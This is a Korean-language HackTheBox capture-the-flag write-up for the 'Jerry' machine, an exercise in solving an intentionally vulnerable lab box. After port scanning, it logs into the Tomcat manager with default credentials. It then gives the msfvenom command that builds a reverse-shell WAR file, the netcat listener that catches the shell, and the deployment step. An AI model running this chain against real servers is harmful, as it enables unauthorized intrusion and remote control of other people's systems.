HackTheBox Labs Writeup - Jerry

Overview
이 글에서는 HackTheBox Labs 머신 중 하나인 Jerry 머신에 대한 풀이 방법에 대해 설명한다.

Task 1
Question : Which TCP port is open on the remote host?
Task 에서 공격 대상 시스템에서 열고 있는 포트 번호를 묻고 있다. nmap 으로 확인해보자.
$ sudo nmap -p- -sV -sC -Pn 10.10.10.95
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-27 10:36 EDT
Nmap scan report for 10.10.10.95
Host is up (0.20s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
8080 번 포트에 tomcat 이 열려 있는 것을 확인할 수 있다.
Answer : 8080
Task 2
Question : Which web server is running on the remote host? Looking for two words.
브라우저로 8080 포트에 접속하면 7.0.88 버전의 Apache Tomcat 서버가 실행되고 있음을 확인할 수 있다.
Answer : Apache Tomcat

Task 3
Question : Which relative path on the webserver leads to the Web Application Manager?
웹 애플리케이션 매니저의 상대 경로를 묻고 있다. 서버 대문의 글을 읽어보면 manager webapp
이라는 단어가 링크로 연결된 것을 확인할 수 있다.
manager webapp
을 클릭하면 접속하기 위한 인증 정보를 요구하는 것을 확인할 수 있다.

접속에 실패하면 /manager/html
파일에 접속을 시도하다가 실패한 것을 확인할 수 있다. 대문의 글과 접속 시 발생하는 에러 메시지를 근거로 해당 페이지가 웹 애플리케이션 매니저인 것을 추정할 수 있다.

Answer : /manager/html
Task 4
Question : What is the valid username and password combination for authenticating into the Tomcat Web Application Manager? Give the answer in the format of username:password
/manager/html
에 접속하기 위한 인증 정보를 묻고 있다. 현재로선 단서가 없으니 Tomcat 의 디폴트 인증 정보로 접속을 시도해보자.
테스트한 결과 id 는 tomcat
, 패스워드는 s3cret
이었다.

Answer : tomcat:s3cret
Task 5
Question : Which file type can be uploaded and deployed on the server using the Tomcat Web Application Manager?
Tomcat 의 웹 애플리케이션 매니저로 업로드 가능한 파일 타입을 묻고 있다.
웹 애플리케이션 페이지를 살펴보면 WAR 파일을 업로드, 배포할 수 있는 기능이 존재하는 것을 알 수 있다. WAR 파일은 Web Application aRchive 의 약자로, 웹 애플리케이션을 이루는 요소들을 아카이브한 JAR 파일이다.

Answer : war
User / Root Flag
앞서 얻은 정보들을 이용하여 Flag 를 얻어보자. 구글링해보면 tomcat 에는 악성 WAR 파일을 업로드하는 exploit 이 존재하는 것을 확인할 수 있다.
아래와 같은 명령어를 실행하면 msfvenom
로 리버스셸을 수립하는 war 파일을 빌드할 수 있다. LHOST
에는 로컬 호스트 IP(공격자 머신 IP)를, LPORT
에는 리버스셸을 열어둘 로컬 머신의 포트 번호를 입력하면 된다.
생성된 파일 이름은 revshell.war
이다.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=9999 -f war -o revshell.war
위 명령어에서는 9999번 포트로 리버스셸을 접속시킬 것이므로, 미리 netcat 으로 포트를 열어두자.
$ nc -lnvp 9999
이제 앞서 생성한 revshell.war
파일을 선택하고, Deploy
버튼을 클릭하여 tomcat 서버에 업로드한다.
업로드에 성공하면 웹 애플리케이션 매니지 페이지 상단에 /revshell
이라는 이름의 Path 가 생성된 것을 확인할 수 있다.

이 경로 링크를 클릭하면 앞서 업로드한 revshell.war
파일이 서버에서 실행되며, 리버스셸이 수립된다.

리버스셸을 이용해 서버를 탐색하다보면 C:\Users\Administrator\Desktop\flags
폴더에서 2 for the price of 1.txt
파일에 User / Root flag 를 발견할 수 있다.
